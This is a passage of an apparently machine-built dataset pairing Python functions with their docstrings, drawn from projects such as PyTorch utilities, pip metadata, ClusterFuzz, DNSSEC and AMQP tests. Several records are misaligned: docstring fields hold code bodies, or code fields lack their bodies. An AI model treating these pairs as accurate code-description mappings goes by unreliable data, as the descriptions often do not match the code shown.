tt.batch_size(self.expr_tensor)\n else: return tt.batch_size(self.expr_transposed_tensor)\n", "nl": "Return length.Returns:length of sequence"} {"code": "def url_to_filename(url, etag=None):\n url_bytes = url.encode(\"utf-8\")\n url_hash = sha256(url_bytes)\n filename = url_hash.hexdigest()\n\n if etag:\n etag_bytes = etag.encode(\"utf-8\")\n etag_hash = sha256(etag_bytes)\n filename += \".\" + etag_hash.hexdigest()\n\n if url.endswith(\".h5\"):\n filename += \".h5\"\n\n return filename\n\n", "nl": "Convert `url` into a hashed filename in a repeatable way.If `etag` is specified, append its hash to the url's, delimitedby a period.If the url ends with .h5 (Keras HDF5 weights) adds '.h5' to the nameso that TF 2.0 can identify it as a HDF5 file(see https://github.com/tensorflow/tensorflow/blob/00fad90125b18b80fe054de1055770cfb8fe4ba3/tensorflow/python/keras/engine/network.py#L1380)"} {"code": "def check(self):\n\n Return a slice, or raise NoCapacity if there was insufficient\n capacity available.\n\n \"\"\"", "nl": "Check invariants.free = sum(cap for cap, _ in self._free)allocated = sum(self.allocs.values())assert free + allocated == self.capacity, \\f\"Free: {free}, Allocated: {allocated}, Capacity: {self.capacity}\"return Truedef alloc(self, num: int) -> slice:Allocate a block of size num."} {"code": "def test_slides(nb, json):\n for cell in nb.cells:\n if (\n \"metadata\" in cell\n and \"slideshow\" in cell.metadata\n and cell.metadata.slideshow.get(\"slide_type\", \"-\") != \"-\"\n ):\n return True\n return False\n\n return {\n \"html\": {\"nbconvert_template\": \"basic\", \"label\": \"Notebook\", \"icon\": \"book\"},\n \"slides\": {\n \"nbconvert_template\": \"slides_reveal\",\n \"label\": \"Slides\",\n \"icon\": \"gift\",\n \"test\": test_slides,\n },\n \"script\": {\n \"label\": \"Code\",\n \"icon\": \"code\",\n \"content_type\": \"text/plain; charset=UTF-8\",\n },\n }", "nl": "Determines if at least one cell has a non-blank or \"-\" as itsmetadata.slideshow.slide_type value.Parameters----------nb: nbformat.notebooknode.NotebookNodeTop of the parsed notebook object modeljson: strJSON source of the notebook, unusedReturns-------bool"} {"code": "def euclidean_dist(x, y):\n m, n = x.size(0), y.size(0)\n xx = torch.pow(x, 2).sum(1, keepdim=True).expand(m, n)\n yy = torch.pow(y, 2).sum(1, keepdim=True).expand(n, m).t()\n dist = xx + yy\n dist.addmm_(1, -2, x, y.t())\n dist = dist.clamp(min=1e-12).sqrt()\n return dist\n", "nl": "Args:x: pytorch Variable, with shape [m, d]y: pytorch Variable, with shape [n, d]Returns:dist: pytorch Variable, with shape [m, n]"} {"code": "def prepare_velo_points(pts3d_raw):\n pts3d = pts3d_raw\n indices = pts3d[:, 3] > 0\n pts3d = pts3d[indices ,:]\n pts3d[:,3] = 1\n return pts3d.transpose(), indices\n", "nl": "Replaces the reflectance value by 1, and tranposes the array, sopoints can be directly multiplied by the camera projection matrix"} {"code": "def full(self):\n maxsize, nextsize, message_count, timeout = wrapped(win32file.GetMailslotInfo, self._read_handle())\n return message_count == maxsize\n", "nl": ":returns: `True` if the number of messages waiting to be read has reached the maximum size for the mailslot"} {"code": "def monte_carlo_objective(self, name=None):\n _require_multi_samples(self._vi.axis, 'monte carlo objective')\n return monte_carlo_objective(\n log_joint=self._vi.log_joint,\n latent_log_prob=self._vi.latent_log_prob,\n axis=self._vi.axis,\n name=name or 'monte_carlo_objective'\n )\n\n importance_weighted_objective = monte_carlo_objective\n\n\nclass VariationalTrainingObjectives(object):\n \"\"\"Factory for variational training objectives.\"\"\"", "nl": "Get the importance weighted lower-bound.Returns:tf.Tensor: The per-data importance weighted lower-bound.See Also::func:`tfsnippet.variational.monte_carlo_objective`"} {"code": "def list_distinfo_files(self, absolute=False):\n record_path = os.path.join(self.path, 'installed-files.txt')\n if os.path.exists(record_path):\n skip = True\n with codecs.open(record_path, 'r', encoding='utf-8') as f:\n for line in f:\n line = line.strip()\n if line == './':\n skip = False\n continue\n if not skip:\n p = os.path.normpath(os.path.join(self.path, line))\n if p.startswith(self.path):\n if absolute:\n yield p\n else:\n yield line\n", "nl": "Iterates over the ``installed-files.txt`` entries and returns paths foreach line if the path is pointing to a file located in the``.egg-info`` directory or one of its subdirectories.:parameter absolute: If *absolute* is ``True``, each returned path istransformed into a local absolute path. Otherwise theraw value from ``installed-files.txt`` is returned.:type absolute: boolean:returns: iterator of paths"} {"code": "def test_play_turn_apply_error(turn):\n game_state = setup_random_basic_gamestate()\n game_state[\"turn\"] = turn\n team = turn % 2\n fatal_list = [{}, {}]\n fatal_list[team] = {\"error\":True}\n game_state[\"fatal_errors\"] = fatal_list\n move = get_legal_positions(game_state[\"walls\"], game_state[\"shape\"], game_state[\"bots\"][turn])\n game_state_new = apply_move(game_state, move[0])\n assert game_state_new[\"gameover\"]\n assert game_state_new[\"whowins\"] == int(not team)\n\n@pytest.mark.parametrize('turn', (0, 1, 2, 3))", "nl": "check that quits when there are too many errorsgame_state = setup_random_basic_gamestate()error_dict = {\"reason\": 'illegal move',\"bot_position\": (1, 2)}game_state[\"turn\"] = turnteam = turn % 2game_state[\"errors\"] = [{(r, t): error_dict for r in (1, 2) for t in (0, 1)},{(r, t): error_dict for r in (1, 2) for t in (0, 1)}]# we pretend that two rounds have already been played# so that the error dictionaries are sanegame_state[\"round\"] = 3illegal_position = (0, 0) # should always be a wallgame_state_new = apply_move(game_state, illegal_position)assert game_state_new[\"gameover\"]assert len(game_state_new[\"errors\"][team]) == 5assert game_state_new[\"whowins\"] == int(not team)assert set(game_state_new[\"errors\"][team][(3, turn)].keys()) == set([\"reason\", \"bot_position\"])@pytest.mark.parametrize('turn', (0, 1, 2, 3))def test_play_turn_fatal(turn):Checks that game quite after fatal error"} {"code": "def _strip_metadata(self, my_dict):\n new_dict = copy.deepcopy(my_dict)\n if const.START in new_dict:\n del new_dict[const.START]\n if const.END in new_dict:\n del new_dict[const.END]\n if const.WHITELIST in new_dict:\n del new_dict[const.WHITELIST]\n if const.WHITELIST_START in new_dict:\n del new_dict[const.WHITELIST_START]\n if const.WHITELIST_END in new_dict:\n del new_dict[const.WHITELIST_END]\n return new_dict\n\n", "nl": "Create a copy of dict and remove not needed data"} {"code": "def _load_read_ids(self):\n self.read_id_to_batch_str = {}\n for batch_name, reads_batch in self.hdf5[BATCH_ROOT_TEXT].items():\n for read_id in reads_batch['read_id'][()]:\n self.read_id_to_batch_str[read_id] = batch_name\n", "nl": " Populate the `read_id_to_batch_str` dictionary with a mapping fromread id to batch name string."} {"code": "def byte_size_load_fn(op):\n\n if op.type == \"Variable\" or op.type == \"VariableV2\":\n return device_setter.byte_size_load_fn(op)\n return 0\n\n\nclass GreedyLoadBalancingStrategy(object):", "nl": "Load function that computes the byte size of a single-output `Operation`.This is intended to be used with TRAINABLE_VARIABLES, which may affectcommunication time between parameter servers and workers. The load of othertype operations is assumed as zero.Args:op: An `Operation` with a single output, typically a \"Variable\" op.Returns:The number of bytes in the output `Tensor`.Raises:ValueError: if `op` does not have a single output, or if the shape of thesingle output is not fully-defined."} {"code": "def calculate(self):\n title = QtWidgets.QApplication.translate(\"pychemqt\", \"Moody Diagram\")\n configDialog = ConfigDialog\n locLogo = (0.3, 0.15, 0.1, 0.1)\n", "nl": "Define the functionality when click the calculate point buttonpassclass Moody(Chart):Moody chart dialog"} {"code": "def register(func):\n return gossip.register('slash.{}'.format(func.__name__))(func)\n\n", "nl": "A shortcut for registering hook functions by their names"} {"code": "def flash_error(message: Any, allow_html: bool = False) -> None:\n if allow_html:\n message = Markup(message)\n else:\n message = escape(message)\n flash(message, category='alert-success')\n\n\n@core_helper", "nl": " Show a flash message of type error if allow_html:message = Markup(message)else:message = escape(message)flash(message, category='alert-error')@core_helperdef flash_success(message: Any, allow_html: bool = False) -> None: Show a flash message of type success "} {"code": "def clear_testcase_directories():\n if environment.platform() != 'WINDOWS':\n return\n\n resources_directory = environment.get_platform_resources_directory()\n handle_executable_path = os.path.join(resources_directory, 'handle.exe')\n handle_output = execute_command(\n '%s -accepteula \"%s\"' % (handle_executable_path, path))\n for line in handle_output.splitlines():\n match = HANDLE_OUTPUT_FILE_TYPE_REGEX.match(line)\n if not match:\n continue\n\n process_id = match.group(1).decode('utf-8')\n file_handle_id = match.group(2).decode('utf-8')\n file_path = match.group(3).decode('utf-8')\n\n logs.log(\n 'Closing file handle id %s for path %s.' % (file_handle_id, file_path))\n execute_command('%s -accepteula -c %s -p %s -y' %\n (handle_executable_path, file_handle_id, process_id))\n\n", "nl": "Clears the testcase directories.remove_directory(environment.get_value('FUZZ_INPUTS'), recreate=True)remove_directory(environment.get_value('FUZZ_INPUTS_DISK'), recreate=True)if environment.is_android() and environment.get_value('ANDROID_SERIAL'):from clusterfuzz._internal.platforms import androidandroid.device.clear_testcase_directory()if environment.is_trusted_host():from clusterfuzz._internal.bot.untrusted_runner import file_hostfile_host.clear_testcase_directories()def close_open_file_handles_if_needed(path):Try to close all open file handle for a specific path."} {"code": "def update_log_precommit(self, context, log_obj):\n", "nl": "Update a log_obj precommit.This method can be implemented by the specific driver subclassto handle update precommit event of a log_object that is being updated.:param context: current running context information:param log_obj: a log_object being updated."} {"code": "def open(filename, flag='c', protocol=None, writeback=False):\n\n return DbfilenameShelf(filename, flag, protocol, writeback)", "nl": "Open a persistent dictionary for reading and writing.The filename parameter is the base filename for the underlyingdatabase. As a side-effect, an extension may be added to thefilename and more than one file may be created. The optional flagparameter has the same interpretation as the flag parameter ofanydbm.open(). The optional protocol parameter specifies theversion of the pickle protocol (0, 1, or 2).See the module's __doc__ string for an overview of the interface."} {"code": "def key_id(key: DNSKEY) -> int:\n\n rdata = key.to_wire()\n if key.algorithm == Algorithm.RSAMD5:\n return (rdata[-3] << 8) + rdata[-2]\n else:\n total = 0\n for i in range(len(rdata) // 2):\n total += (rdata[2 * i] << 8) + rdata[2 * i + 1]\n if len(rdata) % 2 != 0:\n total += rdata[len(rdata) - 1] << 8\n total += (total >> 16) & 0xFFFF\n return total & 0xFFFF\n\n", "nl": "Return the key id (a 16-bit number) for the specified key.*key*, a ``dns.rdtypes.ANY.DNSKEY.DNSKEY``Returns an ``int`` between 0 and 65535"} {"code": "def get_shape_info(self, obj):\n return obj.shape\n", "nl": "Return the information needed to compute the memory size of ``obj``.The memory size is only the data, so this excludes the container.For an ndarray, this is the data, but not the ndarray object andother data structures such as shape and strides.``get_shape_info()`` and ``get_size()`` work in tandem for the memoryprofiler.``get_shape_info()`` is called during the execution of the function.So it is better that it is not too slow.``get_size()`` will be called on the output of this functionwhen printing the memory profile.Parameters----------objThe object that this Type represents during execution.Returns-------objectPython object that ``self.get_size()`` understands."} {"code": "def normalize_threshold(metric_type, threshold):\n if metric_type.startswith(\"Network\"):\n normalized_threshold = normalize_network_threshold(threshold)\n return normalized_threshold[0], normalized_threshold[1]\n return threshold, \"percent\"\n\n", "nl": "This function returns a tuple with the actual threshold and the respective unitThe returned unit is \"percent\" except when the metric_type is one of the Network metrics, in which casethe parsed and normalized unit is returned."} {"code": "def num_train_batches(self):\n return self._num_train_batches\n", "nl": "Returns the number of train batches"} {"code": "def add_loss(self, nn_out):\n\n\t\twith tf.name_scope('Loss_op'):\n\t\t\tloss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=nn_out, labels=self.input_y))\n\t\t\tif self.regularizer != None: loss += tf.contrib.layers.apply_regularization(self.regularizer, tf.get_collection(tf.GraphKeys.REGULARIZATION_LOSSES))\n\t\treturn loss\n", "nl": "Computes loss based on logits and actual labelsParameters----------nn_out:\t\tLogits for each bag in the batchReturns-------loss:\t\tComputes loss based on prediction and actual labels"} {"code": "def __init__(self, regions=[\"ORD\"]):\n self._regions = regions\n", "nl": "Create an API with the specified regions."} {"code": "def report(self):\n print(\"Please insert coins.\")\n for coin in self.COIN_VALUES:\n self.money_received += int(input(f\"How many {coin}?: \")) * self.COIN_VALUES[coin]\n return self.money_received\n", "nl": "Prints the current profitprint(f\"Money: {self.CURRENCY}{self.profit}\")def process_coins(self):Returns the total calculated from coins inserted."} {"code": "def link(self, verts, linked_ids):\n\n bs = verts.shape[0]\n\n linked_verts = verts.clone()\n\n if len(linked_ids.shape) == 2:\n linked_verts[:, linked_ids[:, 0]] = verts[:, linked_ids[:, 1]]\n else:\n for i in range(bs):\n has_linked = (linked_ids[i, :, 2] == 1)\n linked_verts[i, linked_ids[i, has_linked, 0]] = verts[i, linked_ids[i, has_linked, 1]]\n\n return linked_verts\n", "nl": "Args:verts (torch.Tensor): (N, 6890, 3)linked_ids (np.ndarray or torch.tensor): (N, number of verts, 2 = (from_vert_ids, to_verts_ids);Returns:linked_verts (torch.Tensor): (N, 6890, 3)"} {"code": "def convert_examples_to_features(examples, tokenizer, max_seq_length, is_training):\n\n while True:\n total_length = len(tokens_a) + len(tokens_b)\n if total_length <= max_length:\n break\n if len(tokens_a) > len(tokens_b):\n tokens_a.pop()\n else:\n tokens_b.pop()\n\n", "nl": "Loads a data file into a list of `InputBatch`s.# Swag is a multiple choice task. To perform this task using Bert,# we will use the formatting proposed in \"Improving Language# Understanding by Generative Pre-Training\" and suggested by# @jacobdevlin-google in this issue# https://github.com/google-research/bert/issues/38.## Each choice will correspond to a sample on which we run the# inference. For a given Swag example, we will create the 4# following inputs:# - [CLS] context [SEP] choice_1 [SEP]# - [CLS] context [SEP] choice_2 [SEP]# - [CLS] context [SEP] choice_3 [SEP]# - [CLS] context [SEP] choice_4 [SEP]# The model will output a single value for each input. To get the# final decision of the model, we will run a softmax over these 4# outputs.features = []for example_index, example in tqdm(enumerate(examples)):context_tokens = tokenizer.tokenize(example.context_sentence)start_ending_tokens = tokenizer.tokenize(example.start_ending)choices_features = []for ending_index, ending in enumerate(example.endings):# We create a copy of the context tokens in order to be# able to shrink it according to ending_tokenscontext_tokens_choice = context_tokens[:]ending_tokens = start_ending_tokens + tokenizer.tokenize(ending)# Modifies `context_tokens_choice` and `ending_tokens` in# place so that the total length is less than the# specified length. Account for [CLS], [SEP], [SEP] with# \"- 3\"_truncate_seq_pair(context_tokens_choice, ending_tokens, max_seq_length - 3)tokens = [\"[CLS]\"] + context_tokens_choice + [\"[SEP]\"] + ending_tokens + [\"[SEP]\"]segment_ids = [0] * (len(context_tokens_choice) + 2) + [1] * (len(ending_tokens) + 1)input_ids = tokenizer.convert_tokens_to_ids(tokens)input_mask = [1] * len(input_ids)# Zero-pad up to the sequence length.padding = [0] * (max_seq_length - len(input_ids))input_ids += paddinginput_mask += paddingsegment_ids += paddingassert len(input_ids) == max_seq_lengthassert len(input_mask) == max_seq_lengthassert len(segment_ids) == max_seq_lengthchoices_features.append((tokens, input_ids, input_mask, segment_ids))label = example.labelif example_index < 5:logger.info(\"*** Example ***\")logger.info(\"swag_id: {}\".format(example.swag_id))for choice_idx, (tokens, input_ids, input_mask, segment_ids) in enumerate(choices_features):logger.info(\"choice: {}\".format(choice_idx))logger.info(\"tokens: {}\".format(\" \".join(tokens)))logger.info(\"input_ids: {}\".format(\" \".join(map(str, input_ids))))logger.info(\"input_mask: {}\".format(\" \".join(map(str, input_mask))))logger.info(\"segment_ids: {}\".format(\" \".join(map(str, segment_ids))))if is_training:logger.info(\"label: {}\".format(label))features.append(InputFeatures(example_id=example.swag_id, choices_features=choices_features, label=label))return featuresdef _truncate_seq_pair(tokens_a, tokens_b, max_length):Truncates a sequence pair in place to the maximum length."} {"code": "def test_cli_programmatic_communication(self):\n file = Path(dst_file_path)\n lines = file.read_text().splitlines()\n target_line = \" strategy._is_ledger_tx = False\"\n line_insertion_position = lines.index(target_line) + 1\n lines.insert(\n line_insertion_position,\n \" from packages.fetchai.skills.generic_buyer.strategy import Location\",\n )\n lines.insert(\n line_insertion_position + 1,\n f\" strategy._agent_location = Location(latitude={location['latitude']}, longitude={location['longitude']})\",\n )\n file.write_text(\"\\n\".join(lines))", "nl": "Test the communication of the two agents.weather_station = \"weather_station\"self.fetch_agent(\"fetchai/weather_station:0.32.1\", weather_station)self.set_agent_context(weather_station)self.set_config(\"vendor.fetchai.skills.weather_station.models.strategy.args.is_ledger_tx\",False,\"bool\",)self.run_install()# add non-funded keyself.generate_private_key(FetchAICrypto.identifier)self.generate_private_key(FetchAICrypto.identifier, FETCHAI_PRIVATE_KEY_FILE_CONNECTION)self.add_private_key(FetchAICrypto.identifier, FETCHAI_PRIVATE_KEY_FILE)self.add_private_key(FetchAICrypto.identifier,FETCHAI_PRIVATE_KEY_FILE_CONNECTION,connection=True,)self.replace_private_key_in_file(NON_FUNDED_FETCHAI_PRIVATE_KEY_1, FETCHAI_PRIVATE_KEY_FILE_CONNECTION)# generate random locationlocation = {\"latitude\": round(uniform(-90, 90), 2), # nosec\"longitude\": round(uniform(-180, 180), 2), # nosec}setting_path = (\"vendor.fetchai.skills.weather_station.models.strategy.args.location\")self.nested_set_config(setting_path, location)self.run_cli_command(\"build\", cwd=self._get_cwd())self.run_cli_command(\"issue-certificates\", cwd=self._get_cwd())weather_station_process = self.run_agent()check_strings = (\"Starting libp2p node...\",\"Connecting to libp2p node...\",\"Successfully connected to libp2p node!\",LIBP2P_SUCCESS_MESSAGE,)missing_strings = self.missing_from_output(weather_station_process, check_strings, timeout=30, is_terminating=False)assert (missing_strings == []), \"Strings {} didn't appear in weather_station output.\".format(missing_strings)src_file_path = os.path.join(ROOT_DIR, \"tests\", PY_FILE)dst_file_path = os.path.join(ROOT_DIR, self.t, DEST)shutil.copyfile(src_file_path, dst_file_path)self._inject_location(location, dst_file_path)weather_client_process = self.start_subprocess(DEST, cwd=self.t)check_strings = (\"Starting libp2p node...\",\"Connecting to libp2p node...\",\"Successfully connected to libp2p node!\",LIBP2P_SUCCESS_MESSAGE,)missing_strings = self.missing_from_output(weather_client_process, check_strings, timeout=30, is_terminating=False,)assert (missing_strings == []), \"Strings {} didn't appear in weather_client output.\".format(missing_strings)check_strings = (\"registering agent on SOEF.\",\"registering agent's service on the SOEF.\",\"registering agent's personality genus on the SOEF.\",\"registering agent's personality classification on the SOEF.\",\"received CFP from sender=\",\"sending a PROPOSE with proposal=\",\"received ACCEPT from sender=\",\"sending MATCH_ACCEPT_W_INFORM to sender=\",\"received INFORM from sender=\",\"transaction confirmed, sending data=\",)missing_strings = self.missing_from_output(weather_station_process, check_strings, timeout=120, is_terminating=False)assert (missing_strings == []), \"Strings {} didn't appear in weather_station output.\".format(missing_strings)check_strings = (\"found agents=\",\"sending CFP to agent=\",\"received proposal=\",\"accepting the proposal from sender=\",\"informing counterparty=\",\"received INFORM from sender=\",\"received the following data=\",)missing_strings = self.missing_from_output(weather_client_process, check_strings, is_terminating=False)assert (missing_strings == []), \"Strings {} didn't appear in weather_client output.\".format(missing_strings)self.terminate_agents(weather_client_process, weather_station_process)assert (self.is_successfully_terminated()), \"Agents weren't successfully terminated.\"wait_for_localhost_ports_to_close([9000, 9001])def _inject_location(self, location, dst_file_path):Inject location into the weather client strategy."} {"code": "def test_ast_line_numbers_duplicate_expression(self):\n expr = \"\"\"\n t = ast.parse(expr)\n self.assertEqual(type(t), ast.Module)\n self.assertEqual(len(t.body), 2)\n self.assertEqual(type(t.body[0]), ast.Assign)\n self.assertEqual(t.body[0].lineno, 2)\n self.assertEqual(type(t.body[1]), ast.Expr)\n self.assertEqual(type(t.body[1].value), ast.JoinedStr)\n self.assertEqual(len(t.body[1].value.values), 5)\n self.assertEqual(type(t.body[1].value.values[0]), ast.FormattedValue)\n self.assertEqual(type(t.body[1].value.values[1]), ast.Str)\n self.assertEqual(type(t.body[1].value.values[2]), ast.FormattedValue)\n self.assertEqual(type(t.body[1].value.values[3]), ast.Str)\n self.assertEqual(type(t.body[1].value.values[4]), ast.FormattedValue)\n self.assertEqual(t.body[1].lineno, 3)\n self.assertEqual(t.body[1].value.lineno, 3)\n self.assertEqual(t.body[1].value.values[0].lineno, 3)\n self.assertEqual(t.body[1].value.values[1].lineno, 3)\n self.assertEqual(t.body[1].value.values[2].lineno, 3)\n self.assertEqual(t.body[1].value.values[3].lineno, 3)\n self.assertEqual(t.body[1].value.values[4].lineno, 3)\n binop = t.body[1].value.values[0].value\n self.assertEqual(type(binop), ast.BinOp)\n self.assertEqual(type(binop.left), ast.Name)\n self.assertEqual(type(binop.op), ast.Mult)\n self.assertEqual(type(binop.right), ast.Call)\n self.assertEqual(binop.lineno, 3)\n self.assertEqual(binop.left.lineno, 3)\n self.assertEqual(binop.right.lineno, 3)\n self.assertEqual(binop.col_offset, 3)\n self.assertEqual(binop.left.col_offset, 3)\n self.assertEqual(binop.right.col_offset, 7)\n binop = t.body[1].value.values[2].value\n self.assertEqual(type(binop), ast.BinOp)\n self.assertEqual(type(binop.left), ast.Name)\n self.assertEqual(type(binop.op), ast.Mult)\n self.assertEqual(type(binop.right), ast.Call)\n self.assertEqual(binop.lineno, 3)\n self.assertEqual(binop.left.lineno, 3)\n self.assertEqual(binop.right.lineno, 3)\n self.assertEqual(binop.col_offset, 3)\n self.assertEqual(binop.left.col_offset, 3)\n self.assertEqual(binop.right.col_offset, 7)\n binop = t.body[1].value.values[4].value\n self.assertEqual(type(binop), ast.BinOp)\n self.assertEqual(type(binop.left), ast.Name)\n self.assertEqual(type(binop.op), ast.Mult)\n self.assertEqual(type(binop.right), ast.Call)\n self.assertEqual(binop.lineno, 3)\n self.assertEqual(binop.left.lineno, 3)\n self.assertEqual(binop.right.lineno, 3)\n self.assertEqual(binop.col_offset, 3)\n self.assertEqual(binop.left.col_offset, 3)\n self.assertEqual(binop.right.col_offset, 7)\n", "nl": "Duplicate expressionNOTE: this is currently broken, always sets location of the firstexpression."} {"code": "def testDeclareAndDeleteQueue(self):\n self._connectToClient()\n exchangeName = \"testExchange\"\n exchangeType = \"direct\"\n queueName = \"testQueue\"\n routingKey = \"testKey\"\n\n self.client.declareExchange(exchangeName, exchangeType)\n self.client.declareQueue(queueName)\n\n self.client.bindQueue(queueName, exchangeName, routingKey)\n queueBindings = requests.get(\n url=\"http://%s:%s/api/queues/%s/%s/bindings\" % (\n self.connParams.host,\n self.connParams.port,\n self.connParams.vhost,\n queueName),\n auth=(self.connParams.username, self.connParams.password)\n ).json()\n queueBindingsList = [bind for bind in queueBindings\n if bind[\"source\"] == exchangeName]\n self.assertTrue(queueBindingsList)\n self.assertEqual(queueBindingsList[0][\"routing_key\"], routingKey)\n\n exchangeBindings = requests.get(\n url=\"http://%s:%s/api/exchanges/%s/%s/bindings/source\" % (\n self.connParams.host,\n self.connParams.port,\n self.connParams.vhost,\n exchangeName),\n auth=(self.connParams.username, self.connParams.password)\n ).json()\n exchangeBindingsList = [bind for bind in exchangeBindings\n if bind[\"destination\"] == queueName]\n self.assertTrue(exchangeBindingsList)\n self.assertEqual(exchangeBindingsList[0][\"routing_key\"], routingKey)\n\n bindings = requests.get(\n url=\"http://%s:%s/api/bindings/%s/e/%s/q/%s\" % (\n self.connParams.host,\n self.connParams.port,\n self.connParams.vhost,\n exchangeName,\n queueName),\n auth=(self.connParams.username, self.connParams.password)\n ).json()\n bindingsList = [bind for bind in bindings\n if bind[\"routing_key\"] == routingKey]\n self.assertTrue(bindingsList)\n\n self.client.unbindQueue(queueName, exchangeName, routingKey)\n queueBindings = requests.get(\n url=\"http://%s:%s/api/queues/%s/%s/bindings\" % (\n self.connParams.host,\n self.connParams.port,\n self.connParams.vhost,\n queueName),\n auth=(self.connParams.username, self.connParams.password)\n ).json()\n queueBindingsList = [bind for bind in queueBindings\n if bind[\"source\"] == exchangeName]\n self.assertFalse(queueBindingsList)\n exchangeBindings = requests.get(\n url=\"http://%s:%s/api/exchanges/%s/%s/bindings/source\" % (\n self.connParams.host,\n self.connParams.port,\n self.connParams.vhost,\n exchangeName),\n auth=(self.connParams.username, self.connParams.password)\n ).json()\n exchangeBindingsList = [bind for bind in exchangeBindings\n if bind[\"destination\"] == queueName]\n self.assertFalse(exchangeBindingsList)\n bindings = requests.get(\n url=\"http://%s:%s/api/bindings/%s/e/%s/q/%s\" % (\n self.connParams.host,\n self.connParams.port,\n self.connParams.vhost,\n exchangeName,\n queueName),\n auth=(self.connParams.username, self.connParams.password)\n ).json()\n bindingsList = [bind for bind in bindings\n if bind[\"routing_key\"] == routingKey]\n self.assertFalse(bindingsList)\n\n", "nl": " Test the declareQueue and deleteQueue methods self._connectToClient()queueName = \"testQueue\"with self.assertRaises(AmqpChannelError) as cm:self.client.declareQueue(queueName, passive=True)self.assertEqual(cm.exception.code, 404)queueResult = self.client.declareQueue(queueName)self.assertIsInstance(queueResult, QueueDeclarationResult)self.assertEqual(queueResult.queue, queueName)self.assertEqual(queueResult.consumerCount, 0)self.assertEqual(queueResult.messageCount, 0)self._verifyQueue(queueName)queueResult = self.client.declareQueue(queueName, passive=True)self.assertIsInstance(queueResult, QueueDeclarationResult)self.assertEqual(queueResult.queue, queueName)self.assertEqual(queueResult.consumerCount, 0)self.assertEqual(queueResult.messageCount, 0)self._verifyQueue(queueName)self.client.deleteQueue(queueName)self._verifyDeletedQueue(queueName)def testBindUnbindQueue(self): Test binding and unbinding queues to exchanges "} {"code": "def exit_json(self, **kwargs):\n self.add_path_info(kwargs)\n assert 'msg' in kwargs, \"implementation error -- msg to explain the error is required\"\n kwargs['failed'] = True\n print self.jsonify(kwargs)\n sys.exit(1)\n", "nl": " return from the module, without error self.add_path_info(kwargs)if not 'changed' in kwargs:kwargs['changed'] = Falseprint self.jsonify(kwargs)sys.exit(0)def fail_json(self, **kwargs): return from the module, with an error message "} {"code": "def prepare_train_img(self, idx):\n\n img_info = self.img_infos[idx]\n ann_info = self.get_ann_info(idx)\n results = dict(img_info=img_info, ann_info=ann_info)\n self.pre_pipeline(results)\n return self.pipeline(results)\n", "nl": "Get training data and annotations after pipeline.Args:idx (int): Index of data.Returns:dict: Training data and annotation after pipeline with new keysintroduced by pipeline."} {"code": "def __init__(self, machine):\n\n This method should return a reference to the switch's platform interface\n object which will be called to access the hardware.\n\n Args:\n ----\n number: Switch number.\n config : Config of switch.\n platform_config: Platform specific settings.\n\n \"\"\"", "nl": "Add switch feature.super().__init__(machine)self.features['has_switches'] = True@abc.abstractmethoddef configure_switch(self, number: str, config: SwitchConfig, platform_config: dict) -> \"SwitchPlatformInterface\":Subclass this method in a platform module to configure a switch."} {"code": "def load_classes(path):\n fp = open(path, \"r\")\n names = fp.read().split(\"\\n\")[:-1]\n return names\n\n", "nl": "Loads class labels at 'path'"} {"code": "def test_process_trusted_ports_port_not_found(self):\n self.firewall.remove_trusted_ports(['port_id'])\n", "nl": "Check that exception is not propagated outside.with mock.patch.object(self.firewall.int_br.br, 'get_vifs_by_ids',return_value={}):self.firewall.process_trusted_ports(['port_id'])# Processing should have failed so port is not cachedself.assertEqual(0, len(self.firewall.sg_port_map.unfiltered))def test_remove_trusted_ports_clears_cached_port_id(self):self.firewall.sg_port_map.unfiltered['port_id'] = (self.fake_ovs_port, 100)self.firewall.remove_trusted_ports(['port_id'])self.assertNotIn('port_id', self.firewall.sg_port_map.unfiltered)def test_remove_trusted_ports_not_managed_port(self):Check that exception is not propagated outside."} {"code": "def get_exif(self, create=False):\n for segment in self._segments:\n if segment.__class__ == ExifSegment:\n return segment\n if create:\n return self.add_exif()\n else:\n return None\n", "nl": "get_exif returns a ExifSegment if one exists for this file.If the file does not have an exif segment and the create isfalse, then return None. If create is true, a new exif segment isadded to the file and returned."} {"code": "def test_set_uuid(self):\n native mkfs tool can't set the UUID.\n \"\"\"", "nl": "Create the filesystem with a valid UUID.an_fs = self._fs_class(device=self.loop_devices[0],uuid=self._valid_uuid)self.assertIsNone(an_fs.create())out = capture_output([\"blkid\", \"-sUUID\", \"-ovalue\", self.loop_devices[0]])self.assertEqual(out.strip(), self._valid_uuid)class SetUUIDAfterMkFs(SetUUID):Tests various aspects of setting an UUID for a filesystem where the"} {"code": "def rank(self):\n fmat = self.fmat[0]\n rank = (fmat.shape[1],)\n return rank\n\n @property", "nl": " Rank of the CP representation of a tensor.Returns-------rank : tupleNotes-----Most often referred to as the Kryskal rank"} {"code": "def reauthenticated_stream(fn: _F) -> _F:\n @functools.wraps(fn)", "nl": "A client-specific decorator to re-authenticate an iterator-generator.If a wrapped function fails on the authentication, this will be reportedback to the credentials source, which will trigger the re-authenticationactivity. Meanwhile, the function will be awaiting for the new credentials,and re-executed once they are available."} {"code": "def test_cancelConnectUNIXFailedTimeout(self):", "nl": "Similar to L{test_cancelConnectUNIXTimeout}, but for the case where theconnection attempt fails."} {"code": "def _supports_universal_builds():\n\n\n if 'CC' in os.environ:\n return _config_vars\n\n cc = oldcc = _config_vars['CC'].split()[0]\n if not _find_executable(cc):\n\n\n cc = _find_build_tool('clang')\n\n elif os.path.basename(cc).startswith('gcc'):\n data = _read_output(\"'%s' --version\"\n % (cc.replace(\"'\", \"'\\\"'\\\"'\"),))\n if data and 'llvm-gcc' in data:\n cc = _find_build_tool('clang')\n\n if not cc:\n raise SystemError(\n \"Cannot locate working compiler\")\n\n if cc != oldcc:\n for cv in _COMPILER_CONFIG_VARS:\n if cv in _config_vars and cv not in os.environ:\n cv_split = _config_vars[cv].split()\n cv_split[0] = cc if cv != 'CXX' else cc + '++'\n _save_modified_value(_config_vars, cv, ' '.join(cv_split))\n\n return _config_vars\n\n", "nl": "Returns True if universal builds are supported on this system# As an approximation, we assume that if we are running on 10.4 or above,# then we are running with an Xcode environment that supports universal# builds, in particular -isysroot and -arch arguments to the compiler. This# is in support of allowing 10.4 universal builds to run on 10.3.x systems.osx_version = _get_system_version()if osx_version:try:osx_version = tuple(int(i) for i in osx_version.split('.'))except ValueError:osx_version = ''return bool(osx_version >= (10, 4)) if osx_version else Falsedef _find_appropriate_compiler(_config_vars):Find appropriate C compiler for extension module builds"} {"code": "def get_context_data(self, **kwargs):\n the metrics that you want to view, and displays them all on POST.\"\"\"", "nl": "Includes the metrics slugs in the context.data = 